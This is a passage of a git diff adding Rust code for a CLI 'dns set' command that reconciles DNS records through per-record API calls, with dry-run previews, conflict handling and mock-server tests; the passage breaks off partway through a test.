assert_eq!(outcomes.len(), 2); - assert_eq!(outcomes[0].kind, "replaced"); - assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); - assert_eq!(outcomes[1].kind, "cleanup"); - let err = outcomes[1] - .error - .as_deref() - .expect("cleanup failure reported"); - assert!(err.contains("A 1.2.3.4"), "{err}"); - assert!(err.contains("dns list"), "{err}"); - } -} diff --git a/rust/src/dns/set/mod.rs b/rust/src/dns/set/mod.rs new file mode 100644 index 0000000..cee17dd --- /dev/null +++ b/rust/src/dns/set/mod.rs @@ -0,0 +1,225 @@ +//! `dns set` — replace every record for a type+name pair (destructive). + +use cli_engine::{CommandResult, CommandSpec, RuntimeCommandSpec, TableColumn, Tier}; + +use crate::domain::{api_error, make_client}; +use crate::output_schema::output_schema; +use crate::scopes::DOMAINS_DNS_UPDATE; + +use super::records::verify_with_list_action; +use super::records::{RecordOptions, RecordWriteArgs, fetch_records, validate_caa_fields}; + +mod outcome; +mod plan; +mod write; + +use outcome::{SetOutcome, dry_run_set_preview, record_label, summarize_set_outcomes}; +use plan::{SetAction, plan_set}; +use write::{WriteRequest, apply_replace, write_with_conflict_handling}; + +// `dns set` reconciles over v3's per-record ops; it reports how many records it +// replaced, created, and deleted to reach the desired set. +output_schema!(DnsSetResult { + "domain": "string"; + "type": "string"; + "name": "string"; + "replaced": "number"; + "created": "number"; + "deleted": "number"; + "action": "string"; + "plan": "[]object", optional; +}); + +#[derive(Debug, Clone, clap::Args)] +struct SetArgs { + #[command(flatten)] + write: RecordWriteArgs, + + /// Remove any existing CNAME (or, if setting a CNAME, any other type) at + /// this name first. + #[arg(long = "replace-conflicting-types")] + replace_conflicting_types: bool, +} + +/// `plan` only appears on the `--dry-run` preview (the real set's success +/// payload has no per-action breakdown), so it renders as an indented child +/// table there instead of a raw JSON dump. +fn view_columns() -> Vec { + vec![ + TableColumn::new("domain", "Domain"), + TableColumn::new("type", "Type"), + TableColumn::new("name", "Name"), + TableColumn::new("replaced", "Replaced"), + TableColumn::new("created", "Created"), + TableColumn::new("deleted", "Deleted"), + TableColumn::new("action", "Action"), + TableColumn::new("plan", "Plan").nested(vec![ + TableColumn::new("action", "Action"), + TableColumn::new("recordId", "Record ID"), + TableColumn::new("data", "Data"), + ]), + ] +} + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::( + "set", + "Replace all records for a type+name (destructive: overwrites existing)", + ) + .with_long( + "Replaces every DNS record for the given type+name pair with the \ + values supplied via `--data`, discarding any records that were \ + there before. v3 has no bulk or in-place replace, so this reconciles \ + over per-record calls: for the overlap it creates the replacement \ + value then deletes the record it's replacing, it deletes the surplus, \ + and it creates the shortfall (so it is not atomic — a mid-run failure \ + is reported per record). This is destructive and irreversible — use \ + `dns list --type --name ` to review first. Use `dns add` \ + to append without removing existing records.\n\ + \n\ + DNS only allows a CNAME or other record types at a name, never \ + both. Setting into a name that already has the other kind fails \ + with a specific error naming the conflict; pass \ + `--replace-conflicting-types` to remove the conflicting record(s) \ + automatically and retry.", + ) + .with_system("domain") + .with_tier(Tier::Destructive) + .handles_dry_run(true) + .with_default_fields("domain,type,name,replaced,created,deleted,action,plan") + .with_output_schema::() + .with_view(view_columns()) + .with_scopes(&[DOMAINS_DNS_UPDATE]), + |ctx, args: SetArgs| async move { + let opts = RecordOptions::from_write_args(&args.write); + let domain = args.write.domain; + let record_type = args.write.record_type; + let name = args.write.name; + let data = args.write.data; + let replace_conflicting = args.replace_conflicting_types; + validate_caa_fields(&record_type, &opts) + .map_err(crate::error::GddyError::validation)?; + + let debug = !ctx.middleware.debug.is_empty(); + let client = make_client(&ctx).await?; + + // Reconcile the current type+name records with the desired --data + // set over v3's per-record ops (no atomic bulk replace exists). + let existing = fetch_records( + &client, + domain.as_str(), + Some(&record_type), + Some(&name), + debug, + ) + .await?; + // Every existing record must have a server id to reconcile against — + // v3 mutations are keyed by recordId. Bail before touching anything + // if any lacks one, rather than silently dropping it (which would + // leave it behind and make `set` add records instead of replacing). + if existing.iter().any(|r| r.record_id.is_none()) { + let message = format!( + "some existing {record_type} records for {name} were returned without a \ + recordId, so `set` can't safely replace the full set. Re-run `gddy dns \ + list {domain} --type {record_type} --name {name}` and adjust in the \ + control panel if this persists." + ); + let fix = format!( + "Re-run `gddy dns list {domain} --type {record_type} --name {name}` and \ + adjust in the control panel if this persists." + ); + return Err(crate::error::GddyError::unexpected(message) + .with_fix(fix) + .into_cli_error()); + } + let existing_ids: Vec = existing + .iter() + .filter_map(|r| r.record_id.clone()) + .collect(); + + let plan = plan_set(&existing_ids, &data); + if ctx.dry_run() { + return Ok(CommandResult::new(dry_run_set_preview( + &domain, + &record_type, + &name, + &plan, + )) + .with_dry_run()); + } + + let mut outcomes = Vec::new(); + for action in plan { + match action { + SetAction::Replace { + record_id, + data: value, + } => { + let req = WriteRequest { + domain: domain.as_str(), + name: name.as_str(), + record_type: record_type.as_str(), + value: &value, + opts: &opts, + replace_conflicting, + debug, + }; + let old_record = existing + .iter() + .find(|r| r.record_id.as_deref() == Some(record_id.as_str())); + let old_detail = record_label(&existing, &record_type, &record_id); + outcomes.extend( + apply_replace( + &client, + &req, + &record_id, + &old_detail, + old_record.map(|r| r.data.as_str()), + ) + .await, + ); + } + SetAction::Create { data: value } => { + let req = WriteRequest { + domain: domain.as_str(), + name: name.as_str(), + record_type: record_type.as_str(), + value: &value, + opts: &opts, + replace_conflicting, + debug, + }; + outcomes.extend(write_with_conflict_handling(&client, &req).await); + } + SetAction::Delete { record_id } => { + let res = client + .delete_dns_record() + .zone(domain.as_str()) + .record_id(record_id.as_str()) + .send() + .await; + let err = match res { + Ok(_) => None, + Err(e) => { + Some(api_error("deleting DNS record", debug, e).await.to_string()) + } + }; + let detail = record_label(&existing, &record_type, &record_id); + outcomes.push(SetOutcome::new("deleted", detail, err)); + } + } + } + + summarize_set_outcomes(&domain, &record_type, &name, &outcomes) + .map(|v| { + CommandResult::new(v).with_next_actions(vec![verify_with_list_action( + &domain, + &record_type, + &name, + )]) + }) + .map_err(super::mutate_failed) + }, + ) +} diff --git a/rust/src/dns/set/outcome.rs b/rust/src/dns/set/outcome.rs new file mode 100644 index 0000000..4af3976 --- /dev/null +++ b/rust/src/dns/set/outcome.rs @@ -0,0 +1,226 @@ +//! Reporting for `dns set`: tallying applied reconcile outcomes into the +//! command's success/failure result, and building the `--dry-run` preview +//! directly from a reconcile plan. + +use domains_client::types; +use serde_json::{Value, json}; + +use super::plan::SetAction; + +/// Outcome of one applied `set` reconcile action, for reporting. +pub(super) struct SetOutcome { + /// What was attempted: `"replaced"`, `"created"`, or `"deleted"`. + pub(super) kind: &'static str, + /// The `--data` value (replace/create) or record id (delete). + pub(super) detail: String, + /// `Some(msg)` if the call failed. + pub(super) error: Option, +} + +impl SetOutcome { + pub(super) fn new(kind: &'static str, detail: String, error: Option) -> Self { + Self { + kind, + detail, + error, + } + } +} + +/// Build the `set` result from the applied reconcile outcomes: `Ok(json)` with +/// replaced/created/deleted counts when every action succeeded, or `Err(message)` +/// — a non-zero exit — with a per-action ✓/✗ breakdown if any failed. Pure so the +/// success/failure decision and tallies are unit-testable. +pub(super) fn summarize_set_outcomes( + domain: &str, + record_type: &str, + name: &str, + outcomes: &[SetOutcome], +) -> Result { + let failed = outcomes.iter().filter(|o| o.error.is_some()).count(); + let count = |k: &str| { + outcomes + .iter() + .filter(|o| o.error.is_none() && o.kind == k) + .count() + }; + let (replaced, created, deleted) = (count("replaced"), count("created"), count("deleted")); + + if failed > 0 { + let breakdown = outcomes + .iter() + .map(|o| match &o.error { + None => format!(" ✓ {} {}", o.kind, o.detail), + Some(e) => format!(" ✗ {} {} — {e}", o.kind, o.detail), + }) + .collect::>() + .join("\n"); + return Err(format!( + "set for {name} ({record_type}) partially failed — {failed} of {} action(s):\n\ + {breakdown}\n\nRe-run the original `gddy dns set` command, or `gddy dns list \ + {domain} --type {record_type} --name {name}` to review the current state.", + outcomes.len(), + )); + } + + Ok(json!({ + "domain": domain, + "type": record_type, + "name": name, + "replaced": replaced, + "created": created, + "deleted": deleted, + "action": "set", + })) +} + +/// Builds the `dns set --dry-run` preview directly from the same reconcile +/// plan the real execution would apply, so the preview can never drift from +/// what `set` would actually do. Doesn't attempt to predict a name-exclusivity +/// conflict (that's only known once a write is actually attempted) — the +/// preview shows the reconcile plan, not whether `--replace-conflicting-types` +/// would end up mattering. +pub(super) fn dry_run_set_preview( + domain: &str, + record_type: &str, + name: &str, + plan: &[SetAction], +) -> Value { + let count = |predicate: fn(&SetAction) -> bool| plan.iter().filter(|a| predicate(a)).count(); + let plan_json: Vec = plan + .iter() + .map(|action| match action { + SetAction::Replace { record_id, data } => { + json!({"action": "replace", "recordId": record_id, "data": data}) + } + SetAction::Create { data } => json!({"action": "create", "data": data}), + SetAction::Delete { record_id } => json!({"action": "delete", "recordId": record_id}), + }) + .collect(); + + json!({ + "domain": domain, + "type": record_type, + "name": name, + // Reuse DnsSetResult's own field names (rather than inventing + // "wouldReplace" etc.) so the preview survives the command's + // `with_default_fields` projection instead of being silently + // stripped down to just domain/type/name. + "replaced": count(|a| matches!(a, SetAction::Replace { .. })), + "created": count(|a| matches!(a, SetAction::Create { .. })), + "deleted": count(|a| matches!(a, SetAction::Delete { .. })), + "plan": plan_json, + "action": "would set", + }) +} + +/// Human-readable `" "` label for an existing record id, for +/// outcome reporting — falls back to the bare id if the record isn't in +/// `existing` (shouldn't happen; `existing` is what `plan_set` was built from). +pub(super) fn record_label( + existing: &[types::DnsRecord], + record_type: &str, + record_id: &str, +) -> String { + existing + .iter() + .find(|r| r.record_id.as_deref() == Some(record_id)) + .map(|r| format!("{record_type} {}", r.data)) + .unwrap_or_else(|| record_id.to_string()) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::dns::set::plan::plan_set; + + #[test] + fn summarize_set_reports_counts_and_flags_partial_failure() { + let all_ok = vec![ + SetOutcome::new("replaced", "9.9.9.9".into(), None), + SetOutcome::new("created", "8.8.8.8".into(), None), + SetOutcome::new("deleted", "r3".into(), None), + ]; + let v = summarize_set_outcomes("example.com", "A", "www", &all_ok).expect("all ok"); + assert_eq!(v["replaced"], 1); + assert_eq!(v["created"], 1); + assert_eq!(v["deleted"], 1); + + let mixed = vec![ + SetOutcome::new("replaced", "9.9.9.9".into(), None), + SetOutcome::new("created", "8.8.8.8".into(), Some("422 bad".into())), + ]; + let err = summarize_set_outcomes("example.com", "A", "www", &mixed).expect_err("a failure"); + assert!(err.contains("1 of 2"), "{err}"); + assert!(err.contains("✗ created 8.8.8.8 — 422 bad"), "{err}"); + + // A `apply_replace`-style "cleanup" outcome (the new value was created + // but the old record couldn't be deleted afterward) still fails the + // command, but must not be double-counted into `replaced`/`deleted` + // since the replace itself already succeeded. + let replace_with_cleanup_failure = vec![ + SetOutcome::new("replaced", "9.9.9.9".into(), None), + SetOutcome::new("cleanup", "A 1.2.3.4".into(), Some("still there".into())), + ]; + let err = summarize_set_outcomes("example.com", "A", "www", &replace_with_cleanup_failure) + .expect_err("cleanup failure still fails the command"); + assert!(err.contains("1 of 2"), "{err}"); + assert!(err.contains("✗ cleanup A 1.2.3.4 — still there"), "{err}"); + } + + #[test] + fn dry_run_set_preview_matches_the_plan_it_would_execute() { + let plan = plan_set( + &["r1".to_string(), "r2".to_string(), "r3".to_string()], + &["9.9.9.9".to_string(), "8.8.8.8".to_string()], + ); + let preview = dry_run_set_preview("example.com", "A", "www", &plan); + assert_eq!(preview["replaced"], 2); + assert_eq!(preview["created"], 0); + assert_eq!(preview["deleted"], 1); + assert_eq!(preview["action"], "would set"); + assert_eq!(preview["plan"].as_array().expect("plan array").len(), 3); + } + + /// The command's `--output json` path always projects through + /// `default_fields` when the user doesn't pass `--fields` — a preview + /// field that isn't in that list is silently stripped and never reaches + /// the user. Prove the preview's summary fields actually survive it + /// (this is exactly the gap a pure call to `dry_run_set_preview` can't + /// catch, since it never goes through the projection). + #[test] + fn dry_run_set_preview_survives_default_field_projection() { + let plan = plan_set(&["r1".to_string()], &["9.9.9.9".to_string()]); + let preview = dry_run_set_preview("example.com", "A", "www", &plan); + let default_fields = "domain,type,name,replaced,created,deleted,action,plan"; + let projected = cli_engine::output::filter_fields(&preview, default_fields); + for field in [ + "domain", "type", "name", "replaced", "created", "deleted", "action", "plan", + ] { + assert!( + !projected[field].is_null(), + "{field:?} was stripped by default_fields; preview: {projected}" + ); + } + } + + /// Proves `view_columns()`'s field names actually match what + /// `dry_run_set_preview` emits — a mismatch here would silently drop the + /// reconcile plan from human output. + #[test] + fn dry_run_set_preview_renders_plan_as_a_nested_table() { + let plan = plan_set( + &["r1".to_string()], + &["9.9.9.9".to_string(), "8.8.8.8".to_string()], + ); + let preview = dry_run_set_preview("example.com", "A", "www", &plan); + let envelope = cli_engine::Envelope::success(preview, "domain"); + let rendered = + cli_engine::render_human_with_view(&envelope, Some(&super::super::view_columns()), ""); + assert!(rendered.contains("Plan:"), "{rendered}"); + assert!(rendered.contains("RECORD ID"), "{rendered}"); + assert!(rendered.contains("replace"), "{rendered}"); + assert!(rendered.contains("create"), "{rendered}"); + assert!(rendered.contains("9.9.9.9"), "{rendered}"); + } +} diff --git a/rust/src/dns/set/plan.rs b/rust/src/dns/set/plan.rs new file mode 100644 index 0000000..5a1a695 --- /dev/null +++ b/rust/src/dns/set/plan.rs @@ -0,0 +1,94 @@ +//! Reconcile planning for `dns set` — deciding, from the existing record ids +//! and desired `--data` values, which per-record ops to run. + +/// One reconcile action for `dns set` over v3's per-record endpoints. +/// +/// v3 has no atomic single-record replace: `PUT .../dns-records/{recordId}` +/// responds `200` but silently replaces the *entire* record collection with +/// just the system records and whatever's in the request body, discarding +/// everything else in the zone (reproduced live against a test zone; see +/// ). So `Replace` is executed as +/// create-the-new-value-then-delete-the-old-record, never as an in-place PUT. +#[derive(Debug, PartialEq)] +pub(super) enum SetAction { + /// Create a record for the desired `--data` value, then delete the + /// existing record (`record_id`) it's replacing. + Replace { record_id: String, data: String }, + /// Remove an existing record no longer wanted. + Delete { record_id: String }, + /// Create a record for a surplus `--data` value. + Create { data: String }, +} + +/// Reconcile the existing records for a type+name (their ids, in list order) with +/// the desired `--data` values: pair up the overlap (`Replace`), `Delete` +/// the surplus existing, `Create` the surplus desired. Pure so the plan — the +/// least-destructive way to emulate a set-replace over per-record v3 ops — is +/// unit-testable. +pub(super) fn plan_set(existing_ids: &[String], desired: &[String]) -> Vec { + let overlap = existing_ids.len().min(desired.len()); + let mut actions = Vec::with_capacity(existing_ids.len().max(desired.len())); + for i in 0..overlap { + actions.push(SetAction::Replace { + record_id: existing_ids[i].clone(), + data: desired[i].clone(), + }); + } + for id in &existing_ids[overlap..] { + actions.push(SetAction::Delete { + record_id: id.clone(), + }); + } + for d in &desired[overlap..] { + actions.push(SetAction::Create { data: d.clone() }); + } + actions +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn plan_set_reuses_overlap_deletes_extra_creates_shortfall() { + // 3 existing, 2 desired → reuse 2 ids, delete the 3rd. + let existing = vec!["r1".to_string(), "r2".to_string(), "r3".to_string()]; + let desired = vec!["9.9.9.9".to_string(), "8.8.8.8".to_string()]; + assert_eq!( + plan_set(&existing, &desired), + vec![ + SetAction::Replace { + record_id: "r1".into(), + data: "9.9.9.9".into() + }, + SetAction::Replace { + record_id: "r2".into(), + data: "8.8.8.8".into() + }, + SetAction::Delete { + record_id: "r3".into() + }, + ] + ); + // 1 existing, 3 desired → reuse 1 id, create 2. + assert_eq!( + plan_set( + &["r1".to_string()], + &["a".to_string(), "b".to_string(), "c".to_string()] + ), + vec![ + SetAction::Replace { + record_id: "r1".into(), + data: "a".into() + }, + SetAction::Create { data: "b".into() }, + SetAction::Create { data: "c".into() }, + ] + ); + // none existing → all creates. + assert_eq!( + plan_set(&[], &["x".to_string()]), + vec![SetAction::Create { data: "x".into() }] + ); + } +} diff --git a/rust/src/dns/set/write.rs b/rust/src/dns/set/write.rs new file mode 100644 index 0000000..06747e3 --- /dev/null +++ b/rust/src/dns/set/write.rs @@ -0,0 +1,606 @@ +//! Per-record write execution for `dns set`: creating/deleting individual +//! records, with the same name-exclusivity conflict handling `add` gets, plus +//! `set`'s opt-in auto-fix and create-then-delete replace semantics. + +use domains_client::types; + +use crate::dns::conflicts::{ + conflicting_records, conflicting_records_at, describe_duplicate_record, duplicate_record_issue, +}; +use crate::dns::records::{RecordOptions, v3_record}; +use crate::domain::{api_error, format_api_error}; + +use super::outcome::SetOutcome; + +/// Context for one `set` create action, bundled to keep +/// [`write_with_conflict_handling`]'s signature within clippy's +/// argument-count limit. +pub(super) struct WriteRequest<'a> { + pub(super) domain: &'a str, + pub(super) name: &'a str, + pub(super) record_type: &'a str, + pub(super) value: &'a str, + pub(super) opts: &'a RecordOptions, + pub(super) replace_conflicting: bool, + pub(super) debug: bool, +} + +/// Delete each conflicting record — used only by `set --replace-conflicting-types` +/// to auto-resolve a name-exclusivity conflict before retrying the write. +/// Returns one `SetOutcome` per record (rather than bailing on the first +/// failure) so a partial deletion is reported explicitly, consistent with +/// `dns delete`'s per-record reporting. +async fn delete_conflicts( + client: &domains_client::Client, + domain: &str, + records: &[types::DnsRecord], + debug: bool, +) -> Vec { + let mut outcomes = Vec::with_capacity(records.len()); + for rec in records { + let detail = format!("{} {}", rec.type_.as_str(), rec.data); + let Some(record_id) = rec.record_id.as_deref() else { + outcomes.push(SetOutcome::new( + "deleted", + detail, + Some( + "the API returned this record without a recordId, so it can't be removed \ + automatically; remove it in the control panel" + .to_string(), + ), + )); + continue; + }; + let err = match client + .delete_dns_record() + .zone(domain) + .record_id(record_id) + .send() + .await + { + Ok(_) => None, + Err(e) => Some( + api_error("deleting conflicting DNS record", debug, e) + .await + .to_string(), + ), + }; + outcomes.push(SetOutcome::new("deleted", detail, err)); + } + outcomes +} + +/// Create one record for `req.value` (a surplus `--data` value, or — via +/// [`apply_replace`] — the new half of a replace pairing), with the same +/// name-exclusivity conflict handling `add` gets (see +/// [`crate::dns::conflicts::describe_write_error`]) plus an opt-in auto-fix: with +/// `--replace-conflicting-types`, a genuine `DUPLICATE_RECORD` failure deletes +/// the conflicting record(s) and retries the write once. Returns the delete +/// outcomes (if any) followed by the outcome for the create itself, so +/// `outcomes.extend(...)` folds both into the same reconcile summary. The +/// terminal outcome's `kind` is always `"created"` — [`apply_replace`] +/// relabels it to `"replaced"` when this is the create half of a replace. +pub(super) async fn write_with_conflict_handling( + client: &domains_client::Client, + req: &WriteRequest<'_>, +) -> Vec { + const ACTION: &str = "creating DNS record"; + let outcome = |err: Option| SetOutcome::new("created", req.value.to_string(), err); + + let body = v3_record(req.name, req.record_type, req.value, req.opts); + let err = match client + .create_dns_record() + .zone(req.domain) + .body(body) + .send() + .await + { + Ok(_) => return vec![outcome(None)], + Err(e) => e, + }; + let domains_client::Error::UnexpectedResponse(resp) = err else { + return vec![outcome(Some( + api_error(ACTION, req.debug, err).await.to_string(), + ))]; + }; + let status = resp.status(); + let request_id = resp + .headers() + .get("x-request-id") + .and_then(|v| v.to_str().ok()) + .map(str::to_owned); + let resp_body = resp.text().await.unwrap_or_default(); + + if !duplicate_record_issue(&resp_body) { + let msg = format_api_error( + ACTION, + status.as_u16(), + &status.to_string(), + &resp_body, + request_id.as_deref(), + req.debug, + ); + return vec![outcome(Some(msg))]; + } + + let at_name = match conflicting_records_at(client, req.domain, req.name, req.debug).await { + Ok(records) => records, + Err(e) => return vec![outcome(Some(e.to_string()))], + }; + let conflicts: Vec = conflicting_records(req.record_type, &at_name) + .into_iter() + .cloned() + .collect(); + + if !req.replace_conflicting || conflicts.is_empty() { + // Either the caller didn't opt in, or this DUPLICATE_RECORD wasn't a + // cross-type conflict (e.g. an exact duplicate) — nothing to auto-fix. + let msg = describe_duplicate_record( + req.record_type, + req.value, + req.domain, + req.name, + &at_name, + true, + ); + return vec![outcome(Some(msg))]; + } + + let mut outcomes = delete_conflicts(client, req.domain, &conflicts, req.debug).await; + let retry_body = v3_record(req.name, req.record_type, req.value, req.opts); + let retry_err = match client + .create_dns_record() + .zone(req.domain) + .body(retry_body) + .send() + .await + { + Ok(_) => None, + Err(e) => Some(api_error(ACTION, req.debug, e).await.to_string()), + }; + outcomes.push(outcome(retry_err)); + outcomes +} + +/// Apply one `set` "replace" reconcile action: create the new value via +/// [`write_with_conflict_handling`], then — only if that succeeded — delete +/// the record it's replacing. There's no atomic single-record replace in v3 +/// (see the note on `SetAction::Replace`), so this create-then-delete pair +/// is the least-destructive way to emulate one: if the create fails, the old +/// record is left untouched rather than risking data loss. +/// +/// `old_data` is the record's *current* value, if known — when it already +/// equals `req.value` (a no-op `set`, e.g. re-running the same command, or +/// only some of several values actually changed) this is a no-op: creating +/// the "new" value while the identical old record still exists would fail +/// with v3's exact-duplicate `DUPLICATE_RECORD` (see +/// [`crate::dns::conflicts::describe_duplicate_record`]), which isn't a real +/// failure, just this pairing having nothing to do. +/// +/// Relabels the create outcome's `kind` from `"created"` to `"replaced"` so +/// `summarize_set_outcomes`'s tallies mean what the user asked for. If the +/// delete of the old record fails after a successful create, that's reported +/// as an extra `"cleanup"`-kind outcome — a kind `summarize_set_outcomes`'s +/// counts don't recognize, so it doesn't inflate replaced/created/deleted, +/// but its `error` still fails the command and shows up in the breakdown. +pub(super) async fn apply_replace( + client: &domains_client::Client, + req: &WriteRequest<'_>, + old_record_id: &str, + old_detail: &str, + old_data: Option<&str>, +) -> Vec { + if old_data == Some(req.value) { + return vec![SetOutcome::new("replaced", req.value.to_string(), None)]; + } + + let mut outcomes = write_with_conflict_handling(client, req).await; + let Some(last) = outcomes.last_mut() else { + return outcomes; + }; + last.kind = "replaced"; + if last.error.is_some() { + return outcomes; + } + + if let Err(e) = client + .delete_dns_record() + .zone(req.domain) + .record_id(old_record_id) + .send() + .await + { + let msg = format!( + "the new value was created, but the previous record ({old_detail}) could not be \ + removed: {}; run `gddy dns list {} --type {} --name {}` to review the current \ + state and remove it manually if it's still there", + api_error("deleting the previous DNS record", req.debug, e).await, + req.domain, + req.record_type, + req.name, + ); + outcomes.push(SetOutcome::new( + "cleanup", + old_detail.to_string(), + Some(msg), + )); + } + outcomes +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::{Value, json}; + + // --- write_with_conflict_handling --------------------------------------- + // + // These exercise the DUPLICATE_RECORD branching against a mock server: the + // no-conflict path, the conflict-without-`--replace-conflicting-types` + // path (message only, no delete attempted), and the conflict-with-the-flag + // path (delete_conflicts outcome then the retry outcome, in that order). + + use httpmock::prelude::*; + + fn client_for(server: &MockServer) -> domains_client::Client { + domains_client::client_with_auth( + &server.base_url(), + "Bearer tok", + "godaddy-cli/test", + "req-1", + ) + .expect("build client") + } + + fn write_opts() -> RecordOptions { + RecordOptions { + ttl: None, + priority: None, + port: None, + weight: None, + protocol: None, + service: None, + flag: None, + tag: None, + } + } + + const DUPLICATE_RECORD_BODY: &str = r#"{"correlationId":"c-1","details":[{"issue":"DUPLICATE_RECORD","description":"Duplicate data provided for record name, www."}],"message":"Request failed validation","name":"VALIDATION_ERROR"}"#; + + #[tokio::test] + async fn write_with_conflict_handling_creates_without_conflict() { + let server = MockServer::start_async().await; + let create = server + .mock_async(|when, then| { + when.method(POST) + .path("/v3/domains/zones/example.com/dns-records"); + then.status(201).json_body( + json!({ "type": "A", "name": "www", "data": "1.2.3.4", "ttl": 3600 }), + ); + }) + .await; + + let opts = write_opts(); + let req = WriteRequest { + domain: "example.com", + name: "www", + record_type: "A", + value: "1.2.3.4", + opts: &opts, + replace_conflicting: false, + debug: false, + }; + let outcomes = write_with_conflict_handling(&client_for(&server), &req).await; + + create.assert_async().await; + assert_eq!(outcomes.len(), 1); + assert_eq!(outcomes[0].kind, "created"); + assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); + } + + #[tokio::test] + async fn write_with_conflict_handling_conflict_without_flag_reports_message_and_skips_delete() { + let server = MockServer::start_async().await; + server + .mock_async(|when, then| { + when.method(POST) + .path("/v3/domains/zones/example.com/dns-records"); + then.status(422).json_body( + serde_json::from_str::(DUPLICATE_RECORD_BODY).expect("valid json"), + ); + }) + .await; + server + .mock_async(|when, then| { + when.method(GET) + .path("/v3/domains/zones/example.com/dns-records") + .query_param("name", "www"); + then.status(200).json_body(json!({ + "items": [ + { "type": "CNAME", "name": "www", "data": "parkpage.godaddy.com", "ttl": 3600, "recordId": "cn-1" } + ], + "totalItems": 1, + "totalPages": 1, + "links": [] + })); + }) + .await; + + let opts = write_opts(); + let req = WriteRequest { + domain: "example.com", + name: "www", + record_type: "A", + value: "1.2.3.4", + opts: &opts, + replace_conflicting: false, + debug: false, + }; + let outcomes = write_with_conflict_handling(&client_for(&server), &req).await; + + // Only the message outcome — no delete attempted since the flag wasn't set. + assert_eq!(outcomes.len(), 1); + let err = outcomes[0].error.as_deref().expect("conflict reported"); + assert!(err.contains("already has a CNAME record"), "{err}"); + assert!(err.contains("--replace-conflicting-types"), "{err}"); + } + + #[tokio::test] + async fn write_with_conflict_handling_replace_flag_deletes_then_retries_in_order() { + let server = MockServer::start_async().await; + server + .mock_async(|when, then| { + when.method(POST) + .path("/v3/domains/zones/example.com/dns-records"); + then.status(422).json_body( + serde_json::from_str::(DUPLICATE_RECORD_BODY).expect("valid json"), + ); + }) + .await; + server + .mock_async(|when, then| { + when.method(GET) + .path("/v3/domains/zones/example.com/dns-records") + .query_param("name", "www"); + then.status(200).json_body(json!({ + "items": [ + { "type": "CNAME", "name": "www", "data": "parkpage.godaddy.com", "ttl": 3600, "recordId": "cn-1" } + ], + "totalItems": 1, + "totalPages": 1, + "links": [] + })); + }) + .await; + let delete = server + .mock_async(|when, then| { + when.method(DELETE) + .path("/v3/domains/zones/example.com/dns-records/cn-1"); + then.status(204); + }) + .await; + + let opts = write_opts(); + let req = WriteRequest { + domain: "example.com", + name: "www", + record_type: "A", + value: "1.2.3.4", + opts: &opts, + replace_conflicting: true, + debug: false, + }; + let outcomes = write_with_conflict_handling(&client_for(&server), &req).await; + + delete.assert_async().await; + // delete_conflicts' outcome must come first, then the retry outcome — + // the order `summarize_set_outcomes`'s breakdown reports to the user. + assert_eq!(outcomes.len(), 2); + assert_eq!(outcomes[0].kind, "deleted"); + assert_eq!(outcomes[0].detail, "CNAME parkpage.godaddy.com"); + assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); + assert_eq!(outcomes[1].kind, "created"); + assert_eq!(outcomes[1].detail, "1.2.3.4"); + // The retry hits the same mocked conflict response; unlike the first + // attempt, a failure here is reported generically (no re-diagnosis). + let err = outcomes[1].error.as_deref().expect("retry still failed"); + assert!(err.contains("Duplicate data provided"), "{err}"); + } + + // --- apply_replace ------------------------------------------------------- + // + // `set`'s "replace" semantic is create-the-new-value-then-delete-the-old + // (v3 has no atomic single-record replace; see GH #136). These exercise: + // the happy path (create then delete, one "replaced" outcome), the create + // failing (delete must never be attempted — the old record stays intact), + // and the delete failing after a successful create (reported as a + // separate "cleanup" outcome that still fails the command). + + fn replace_req<'a>(opts: &'a RecordOptions, value: &'a str) -> WriteRequest<'a> { + WriteRequest { + domain: "example.com", + name: "www", + record_type: "A", + value, + opts, + replace_conflicting: false, + debug: false, + } + } + + #[tokio::test] + async fn apply_replace_creates_then_deletes_the_old_record() { + let server = MockServer::start_async().await; + let create = server + .mock_async(|when, then| { + when.method(POST) + .path("/v3/domains/zones/example.com/dns-records"); + then.status(201).json_body( + json!({ "type": "A", "name": "www", "data": "9.9.9.9", "ttl": 3600 }), + ); + }) + .await; + let delete = server + .mock_async(|when, then| { + when.method(DELETE) + .path("/v3/domains/zones/example.com/dns-records/old-1"); + then.status(204); + }) + .await; + + let opts = write_opts(); + let req = replace_req(&opts, "9.9.9.9"); + let outcomes = apply_replace( + &client_for(&server), + &req, + "old-1", + "A 1.2.3.4", + Some("1.2.3.4"), + ) + .await; + + create.assert_async().await; + delete.assert_async().await; + assert_eq!(outcomes.len(), 1); + assert_eq!(outcomes[0].kind, "replaced"); + assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); + } + + /// The record being "replaced" already holds the desired value (e.g. a + /// re-run of the same `set`, or only some of several `--data` values + /// actually changed) — creating it again would hit v3's exact-duplicate + /// `DUPLICATE_RECORD` since the old record hasn't been deleted yet, so + /// this must short-circuit as a no-op success without any API calls. + #[tokio::test] + async fn apply_replace_is_a_no_op_when_old_record_already_has_the_desired_value() { + let server = MockServer::start_async().await; + let create = server + .mock_async(|when, then| { + when.method(POST) + .path("/v3/domains/zones/example.com/dns-records"); + then.status(201); + }) + .await; + let delete = server + .mock_async(|when, then| { + when.method(DELETE) + .path("/v3/domains/zones/example.com/dns-records/old-1"); + then.status(204); + }) + .await; + + let opts = write_opts(); + let req = replace_req(&opts, "1.2.3.4"); + let outcomes = apply_replace( + &client_for(&server), + &req, + "old-1", + "A 1.2.3.4", + Some("1.2.3.4"), + ) + .await; + + assert_eq!( + create.hits_async().await, + 0, + "no create for a no-op replace" + ); + assert_eq!( + delete.hits_async().await, + 0, + "no delete for a no-op replace" + ); + assert_eq!(outcomes.len(), 1); + assert_eq!(outcomes[0].kind, "replaced"); + assert_eq!(outcomes[0].detail, "1.2.3.4"); + assert!(outcomes[0].error.is_none(), "{:?}", outcomes[0].error); + } + + #[tokio::test] + async fn apply_replace_leaves_old_record_alone_when_create_fails() { + let server = MockServer::start_async().await; + server + .mock_async(|when, then| { + when.method(POST) + .path("/v3/domains/zones/example.com/dns-records"); + then.status(500); + }) + .await; + let delete = server + .mock_async(|when, then| { + when.method(DELETE) + .path("/v3/domains/zones/example.com/dns-records/old-1"); + then.status(204); + }) + .await; + + let opts = write_opts(); + let req = 